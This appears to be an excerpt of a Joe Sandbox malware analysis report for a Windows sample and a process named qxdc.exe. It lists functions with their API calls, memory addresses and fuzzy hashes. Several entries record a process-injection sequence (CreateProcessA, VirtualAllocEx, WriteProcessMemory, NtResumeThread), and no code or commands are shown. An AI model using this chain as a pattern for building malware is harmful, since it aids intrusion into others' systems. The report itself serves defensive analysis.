Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00405826,00000000,00000000,?,?,?,?,?,000000FF,?), ref: 00402DC9

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b9975568648a437284f1946b06cb7bbf49f4960f2e997f34acb4b0b8af250a61
Instruction ID: cd70b4aaf61e91f8d7e5ea70540fdc4f6698c865356300582591a10ed6fa21ce
Opcode Fuzzy Hash: b9975568648a437284f1946b06cb7bbf49f4960f2e997f34acb4b0b8af250a61
Instruction Fuzzy Hash: 1E21C276904218ABCB20DB54CD48BCAB7B8EF15314F1041F7E545B72D2D6B8AE82CF99

Function 004014F2 Relevance: 15.1, APIs: 10, Instructions: 72
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,004056E1,00000009,?,004056EA,0000000A,?), ref: 00401523
LoadIconA.USER32(00000000,00007F04), ref: 00401563
LoadCursorA.USER32(00000000,00007F01), ref: 00401572
RegisterClassA.USER32(00000000), ref: 00401585
ExitProcess.KERNEL32(00000080,?,?,00C80000,FFFFFC18,FFFFFC18,000001F4,00000096,00000000,00000000,?,00000000), ref: 004015BF
ShowWindow.USER32(?,00000001,00000080,?,?,00C80000,FFFFFC18,FFFFFC18,000001F4,00000096,00000000,00000000,?,00000000), ref: 004015CC
UpdateWindow.USER32(?), ref: 004015D4
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004015E3
TranslateMessage.USER32(?), ref: 004015EC
DispatchMessageA.USER32(?), ref: 004015F5

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: Message$LoadWindow$ClassCursorDispatchExitHandleIconModuleProcessRegisterShowTranslateUpdate
String ID:
API String ID: 2466556465-0
Opcode ID: f90113a4f0ba51b6aa07ba9a64e74d810bcc7cf2227c3863ffcfe1f5e6d8130d
Instruction ID: 4c8e6680f715e078ca599ce27c9db9fffd332fac5de0ed28871b484042e5d96f
Opcode Fuzzy Hash: f90113a4f0ba51b6aa07ba9a64e74d810bcc7cf2227c3863ffcfe1f5e6d8130d
Instruction Fuzzy Hash: BB21FF70E45218BAEF50EFD5CC46FDDBABCAB08705F20406AF608BA1C1D7B956448F69

Function 004016D8 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402D09: LdrLoadDll.NTDLL(00000000,00405826,00000000,00000000,?,?,?,?,?,000000FF,?), ref: 00402DC9

CoInitialize.OLE32(00000000,004058CD,004058C3,00000000,-000007A4,?,00000003), ref: 004016FB
CoUninitialize.COMBASE(00000000,004058EB,004058C3), ref: 0040197C

Strings

0, xrefs: 0040189B

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: InitializeLoadUninitialize
String ID: 0
API String ID: 3228517379-4108050209
Opcode ID: 29d2cc4c029db070d69d18b153d531549aea2fe23c67132b591f915daf78d2fd
Instruction ID: 6ded074722799d7018f8ded6bacd2a50cce3fdfe018b2ec45c500eec3cff8d6a
Opcode Fuzzy Hash: 29d2cc4c029db070d69d18b153d531549aea2fe23c67132b591f915daf78d2fd
Instruction Fuzzy Hash: A4711EB5600218AFDB10EB94CD85FDE73BCEF48304F1044A6F609E7291D6B5AE858F69

Function 00401600 Relevance: 3.0, APIs: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcA.USER32(?,00000401,?,?), ref: 0040161B
ExitProcess.KERNEL32(00000000), ref: 004030F5

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: ExitProcProcessWindow
String ID:
API String ID: 86880500-0
Opcode ID: 05cc686cfe8cc60372ecda9da660c185e44761a9ee7dbfa97bcae14aea4bd38d
Instruction ID: 14d65af1e34abacb2ef1b3afeeada39aace0e1324c93e5a36545b9571af2d07d
Opcode Fuzzy Hash: 05cc686cfe8cc60372ecda9da660c185e44761a9ee7dbfa97bcae14aea4bd38d
Instruction Fuzzy Hash: E4E0EC31140204B6DB013FD29C06F8E3A1CEF48765F00843BB606340E149FE4611AB7D

Function 00401A4F Relevance: 2.6, APIs: 2, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402D09: LdrLoadDll.NTDLL(00000000,00405826,00000000,00000000,?,?,?,?,?,000000FF,?), ref: 00402DC9

CoInitialize.OLE32(00000000,004058CD,004058C3,00000000), ref: 00401A79
CoUninitialize.COMBASE(00000000,004058EB,004058C3), ref: 00401B57

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: InitializeLoadUninitialize
String ID:
API String ID: 3228517379-0
Opcode ID: eb927403f7dc7385f1da11713562d5659944a989aec6fd69dfe9bd30efbdbb3a
Instruction ID: be8f494048e187c43210ad2f3f002448aaa71b6ec9f21031e9d142d6bd50b34a
Opcode Fuzzy Hash: eb927403f7dc7385f1da11713562d5659944a989aec6fd69dfe9bd30efbdbb3a
Instruction Fuzzy Hash: B4313C76600608BEDB10EB94CC85FDE73BCDF48704F1085A6B609F21D1DAB9AA458F64

Function 00401985 Relevance: 2.6, APIs: 2, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402D09: LdrLoadDll.NTDLL(00000000,00405826,00000000,00000000,?,?,?,?,?,000000FF,?), ref: 00402DC9

CoInitialize.OLE32(00000000,004058CD,004058C3,00000000), ref: 004019A8
CoUninitialize.COMBASE(00000000,004058EB,004058C3), ref: 00401A46

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: InitializeLoadUninitialize
String ID:
API String ID: 3228517379-0
Opcode ID: aa8baec2a3e5e7fd41dae05cbc79e9064b0f6e13d19770668c0fd61e994cf385
Instruction ID: 50d19681a354a607d0dae186336bee57ec8bc4b6f5dbb6c8c836f67d7ba1a616
Opcode Fuzzy Hash: aa8baec2a3e5e7fd41dae05cbc79e9064b0f6e13d19770668c0fd61e994cf385
Instruction Fuzzy Hash: 59113AB66406087EDA10F6E18D86F9F736DDF88704F208476B604F20D1DAB99A558E68

Non-executed Functions

Function 00402CE0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff2d78b7c643d25f3e86b0be05a133cb47f2912c7fdb875c80d1c5c0db229b32
Instruction ID: 515e02bd92380b2c4dc0473bba38a27e69c74af7af79021f1e6441f00c864437
Opcode Fuzzy Hash: ff2d78b7c643d25f3e86b0be05a133cb47f2912c7fdb875c80d1c5c0db229b32
Instruction Fuzzy Hash: F3D022673001152BA708204FAE038CBBA5FC2D22A8308A433BA00C02A2F250C74000B0

Function 00401651 Relevance: 6.0, APIs: 4, Instructions: 43
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowThreadProcessId.USER32(?,?), ref: 00401667
GetCurrentProcessId.KERNEL32 ref: 0040166C
GetClassNameA.USER32(?,?,000000FF), ref: 00401688
SendMessageA.USER32(?,00000401,00000000,00000000), ref: 004016C7

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: Process$ClassCurrentMessageNameSendThreadWindow
String ID:
API String ID: 1760342835-0
Opcode ID: 089ee2c1dfc6b20517ea5a76d1b598faa3ddba1fb161cc0ee8378850421c7764
Instruction ID: db599435de39bfa551a70dd0ff060c8ba27b8f90f4933ab472d3ebd2a91b138e
Opcode Fuzzy Hash: 089ee2c1dfc6b20517ea5a76d1b598faa3ddba1fb161cc0ee8378850421c7764
Instruction Fuzzy Hash: 8A0181B56001197ADB20AA51CC42FEF7AAC9B44349F0400777708F90E2EAB59E428E6C

Function 00402ED0 Relevance: 6.0, APIs: 4, Instructions: 36
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 00402EEF
SetFilePointer.KERNEL32(?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000,?,?,00000003), ref: 00402F06
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000), ref: 00402F1A
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080), ref: 00402F22

Memory Dump Source

Source File: 00000007.00000002.2339388933.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Opdxdyeul.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 3e7c8af347464d03d3d39bdfbfcb9eab0504055f711e58a72d95aaf1a55e5f01
Instruction ID: 81bbe348cd404b20d1497c96f7c9c4cfd1144baff2074695bdf9688fa2607c2a
Opcode Fuzzy Hash: 3e7c8af347464d03d3d39bdfbfcb9eab0504055f711e58a72d95aaf1a55e5f01
Instruction Fuzzy Hash: 84F05431540108BAEF216F95CD03FCE7E39EB05765F200125B710780E0D7755B20E758

Analysis Process: qxdc.exePID: 3392, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	98.8%
Signature Coverage:	0%
Total number of Nodes:	512
Total number of Limit Nodes:	27

Executed Functions

Function 05930040 Relevance: 2.3, Strings: 1, Instructions: 1081
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 05930B80

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: a20a4e796eb2eadcba8c1f19a2ca42a66f55da372ff67cb8dae8eff5ffaff485
Instruction ID: a0d9fd068e215d2b1a7b10d17b37e57bf74d9ad94488e6ee37a43170d1a9313d
Opcode Fuzzy Hash: a20a4e796eb2eadcba8c1f19a2ca42a66f55da372ff67cb8dae8eff5ffaff485
Instruction Fuzzy Hash: 21C2BEB4A05229CFDB65DF69C884B9ABBB6FF88304F1081E9D509A7355DB309E85CF40

Function 05A0FEA0 Relevance: 1.6, APIs: 1, Instructions: 108nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05A0FF5D

Memory Dump Source

Source File: 00000008.00000002.2513251989.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5a00000_qxdc.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: b5c28b9bc45c415bba86b609cd2320d9b7d61eb618277971a74f3ce857d5d450
Instruction ID: 3cbb5b62551a99f09a94a5022b7f5175c92e106640f39d72a06245ccfe3d9ca0
Opcode Fuzzy Hash: b5c28b9bc45c415bba86b609cd2320d9b7d61eb618277971a74f3ce857d5d450
Instruction Fuzzy Hash: 804198B5D04259DFCF10CFAAD980ADEFBB1BB49310F10A02AE919B7210D775A901CF68

Function 05A0FEA8 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05A0FF5D

Memory Dump Source

Source File: 00000008.00000002.2513251989.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5a00000_qxdc.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2fc6660dffb5df5222483a1fe4dc76aba85e06f7d196fe59d810da6d0a397098
Instruction ID: b1f6abce84d38c1410d2a188b135022d81aa8c0b1e3dfd44781e342f3a7d01dc
Opcode Fuzzy Hash: 2fc6660dffb5df5222483a1fe4dc76aba85e06f7d196fe59d810da6d0a397098
Instruction Fuzzy Hash: 214187B5D042599FCF10CFAAD980ADEFBB1BB49310F10A42AE919B7250D775A901CF68

Function 05971130 Relevance: 1.6, APIs: 1, Instructions: 85nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 059711C6

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a9dc68d2864d776d841ddb131e630fd2cec8b5e94647fd348c5e94921a4450ae
Instruction ID: 0593a3de857f16f102e6dcc92a7b7c09d7bc6b29d31a00488cd47cedd9931744
Opcode Fuzzy Hash: a9dc68d2864d776d841ddb131e630fd2cec8b5e94647fd348c5e94921a4450ae
Instruction Fuzzy Hash: BA31B9B5D01219AFDF10CFAAD980ADEFBF1BB49320F20942AE805B7200D775A901CF94

Function 05971138 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 059711C6

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e81b5b5da51857c27e8d32c3e58f458322f4ac4d55e85be9759a66258de5cc1e
Instruction ID: 9423568b5ac30cf3bdb44a51959c5552687ae0dedb469c0997608fe9cf8b293a
Opcode Fuzzy Hash: e81b5b5da51857c27e8d32c3e58f458322f4ac4d55e85be9759a66258de5cc1e
Instruction Fuzzy Hash: BB31A7B5D012199FDF10CFAAD980A9EFBF5BF49310F20942AE919B7200D775A905CF94

Function 0146D230 Relevance: 1.0, Instructions: 983COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367f82616c66b12c559d2dc60526987a72ec842458212668e5e228e2cc456c50
Instruction ID: 14db8e1204394189e623127a699882fa3b41cb5cbbbdd86fb3ccc9bccddca4ac
Opcode Fuzzy Hash: 367f82616c66b12c559d2dc60526987a72ec842458212668e5e228e2cc456c50
Instruction Fuzzy Hash: 8BA2C475E00228CFDB65CF69C984A99BBB2FF89304F1581E9D549AB325DB319E81CF40

Function 0593142C Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 551f9ba81c726ce75a6de29a5a251e9f7a79b12e68d6b24f66747545b5205163
Instruction ID: e05f2e9f38f975fb29984917f17eb0da9727fc73903756985ae75a404f727a13
Opcode Fuzzy Hash: 551f9ba81c726ce75a6de29a5a251e9f7a79b12e68d6b24f66747545b5205163
Instruction Fuzzy Hash: F432A474A04229CFCB65DF28C994A99BBB6FF48310F1091E9D90DA7361DB30AE85CF54

Function 01460E5C Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d58c39568b0911e16f9bb71ac55cd8bc6f5b7c754cbf13c2025c165614361879
Instruction ID: 2ca85170d1e7384c6ea5fbf52353766c6b8a2ad45378396f102571588d11815d
Opcode Fuzzy Hash: d58c39568b0911e16f9bb71ac55cd8bc6f5b7c754cbf13c2025c165614361879
Instruction Fuzzy Hash: 5DE18170A00256DFDB05DFA8C890BAEBBF6FF84704F14816AE5059B3A5DB709C46CB81

Function 0593BA60 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f55a3671f4e212245d9265bb53d70454fec8c423779d1edf7cfe14333956aa3d
Instruction ID: 96a94ef5e04a7414034d2f70cb7348b9e3714a4a9d57e45022d7b7ee8f6af107
Opcode Fuzzy Hash: f55a3671f4e212245d9265bb53d70454fec8c423779d1edf7cfe14333956aa3d
Instruction Fuzzy Hash: C0B1F474E05218CFDB24CFAAD896BADBBFBBF88304F10816AE409A7655DB705945CF00

Function 0593BA51 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a346f42405327c6a444c8e039dc47a14a6fdb8bca61100379e555f181f9f8403
Instruction ID: e4c99810360fc7475fff3c34512edf0e8ee26bdb0b6d76fe9ceeb1fa17b2e880
Opcode Fuzzy Hash: a346f42405327c6a444c8e039dc47a14a6fdb8bca61100379e555f181f9f8403
Instruction Fuzzy Hash: 31A1F474E05218CFDB24CFAAC895B9DBBF6BF48304F14816AE409A7755DB705945CF00

Function 05930006 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 587af931713a442062327d55882473739b0e169815dccec54860cfaf7aba2ef0
Instruction ID: 405890a9d363f87823e85224bb1324a9a7e95d3491fbff7bb55b1fcceab21c7e
Opcode Fuzzy Hash: 587af931713a442062327d55882473739b0e169815dccec54860cfaf7aba2ef0
Instruction Fuzzy Hash: 10511CB1E046598BDB19CF6BC84569ABBF7AFC9300F09C1BAC508AB255DB304985CF54

Function 0597049D Relevance: 1.8, APIs: 1, Instructions: 264
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0597070F

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 63f850eae5d5e37003e24bd983d8f56831a95a4eb2b629946ce358c5866365e7
Instruction ID: 712829e51d1bb38a5eb7ddd59e648a3a87dcb680683fef455ccc600c3534b7a2
Opcode Fuzzy Hash: 63f850eae5d5e37003e24bd983d8f56831a95a4eb2b629946ce358c5866365e7
Instruction Fuzzy Hash: C8A1F0B0D0021DDFDF10CFA9C989BEEBBB1BB49300F14916AE859A7280DB749985CF45

Function 059704A8 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0597070F

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a4f9c5992bf7e39125fa4e48382338720e748c396f5918b261eb965ab0f49616
Instruction ID: 62b278d13a8f4159b0e48fcd25ab3c9ea1bd78e6ce965f40392ee7dd191e8fca
Opcode Fuzzy Hash: a4f9c5992bf7e39125fa4e48382338720e748c396f5918b261eb965ab0f49616
Instruction Fuzzy Hash: DDA1E070D0421DDFDF10CFA9C889BEEBBB1BB49310F14916AE859A7280DB749985CF85

Function 0597238D Relevance: 1.7, APIs: 1, Instructions: 156
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 059724DC

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d21ddbef1eb34c1d9ceb3ad28b8205d97431eab577534dc683482ab31af74bdf
Instruction ID: af538e27c3803762c69066a2265703620ef115eda78d737b5fd2c3ad76d8be22
Opcode Fuzzy Hash: d21ddbef1eb34c1d9ceb3ad28b8205d97431eab577534dc683482ab31af74bdf
Instruction Fuzzy Hash: 9251CDB4D1421DDFDF20CFA9D884BAEBBB2BB49300F20A12AE815B7250DB749945CF55

Function 05972398 Relevance: 1.7, APIs: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 059724DC

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f7f5a595410c4fe0d5bc27403eb0a1ecd45b06a34214480cc811409d1b8c3747
Instruction ID: 2db46d6a1f198a08f15fa245bd990009042b93b7d2a3a9d4aff9a57a0156f88b
Opcode Fuzzy Hash: f7f5a595410c4fe0d5bc27403eb0a1ecd45b06a34214480cc811409d1b8c3747
Instruction Fuzzy Hash: BB51CDB4D1421DDFDF20CFA9D884BAEBBB1BB49300F20A12AE815B7250DB749945CF55

Function 059725E5 Relevance: 1.6, APIs: 1, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 05972726

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 4cc63f6d12962148a80af5454bafd451d7d85918ce6c2a5c981c1dbb54235b41
Instruction ID: 7c6fe1f880b4e0ccf2f017644174c277e3eed1777533fb5a3fa9d9817eed2962
Opcode Fuzzy Hash: 4cc63f6d12962148a80af5454bafd451d7d85918ce6c2a5c981c1dbb54235b41
Instruction Fuzzy Hash: 6051F374D1430C9FDF10DFA9C985AAEBBB1BF09300F14902AE815B7240DB749985CF55

Function 059725F0 Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 05972726

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 3589e1b424278e0fb2b8bd2bd628c7054f6361df83a585eca573b403ae3dab76
Instruction ID: a5cd38d2be98c7af2aa9d07a8a4ca26b83a67b24c2b5675bffcb9b6ae898ede8
Opcode Fuzzy Hash: 3589e1b424278e0fb2b8bd2bd628c7054f6361df83a585eca573b403ae3dab76
Instruction Fuzzy Hash: 4A51F1B4D1430C9FDF10DFA9C984AAEBBB1BF49300F24942AE819B7240DB74A985CF55

Function 05970F19 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05970FF3

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 369e4005881711ed3dde8bf04e9be27d2f16376981eb5433f684d4e45a54336d
Instruction ID: 0e566c05b7343ac8d5fdf37873d7fe2f00e67658ee9afa347bb787f6e8a65ebe
Opcode Fuzzy Hash: 369e4005881711ed3dde8bf04e9be27d2f16376981eb5433f684d4e45a54336d
Instruction Fuzzy Hash: F441A9B5D012589FCF00CFA9D984AEEBBF1BB49310F24902AE819B7210D775AA45CF54

Function 05970F20 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05970FF3

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 25aa98c6b55f07d40245da64f693c01be6e98564a909fba4058ad559ae3dbf17
Instruction ID: 230064f24cb649016aa937dcc58b724143b74580952364c45134311e638d6f3c
Opcode Fuzzy Hash: 25aa98c6b55f07d40245da64f693c01be6e98564a909fba4058ad559ae3dbf17
Instruction Fuzzy Hash: 7C41AAB5D012589FCF00CFA9D984AEEFBF1BB49310F10902AE819B7210D775AA41CF54

Function 05970DB8 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05970E6A

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 98b632746294ee46aaa2ab855e2160223611fa2b7f45fb586a2aa5b2d65e7df2
Instruction ID: e81afbb1df9922cceb8e3f6d1a56ee5639088bb63688ed3aa5321c84c238b008
Opcode Fuzzy Hash: 98b632746294ee46aaa2ab855e2160223611fa2b7f45fb586a2aa5b2d65e7df2
Instruction Fuzzy Hash: BE31A6B9D00248DFCF10CFA9D980A9EBBB1BF49310F10A42AE815B7210D735A901CF59

Function 05972830 Relevance: 1.6, APIs: 1, Instructions: 102fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 059728E2

Memory Dump Source

Source File: 00000008.00000002.2512781871.0000000005970000.00000040.00000800.00020000.00000000.sdmp, Offset: 05970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5970000_qxdc.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 37f58fa45763ed04e50251bcd77d0db38458f869f5517502b72996d42bda42e9
Instruction ID: 9490d4d9fa5e17b8b9bf9d0e403b99df8fa4b921e4ea103aa66542ee5e6e9296
Opcode Fuzzy Hash: 37f58fa45763ed04e50251bcd77d0db38458f869f5517502b72996d42bda42e9
Instruction Fuzzy Hash: 7E31A6B9D042599FCF10CFA9D980AEEBBB1BB08310F10A42AE815BB210D735A905CF54

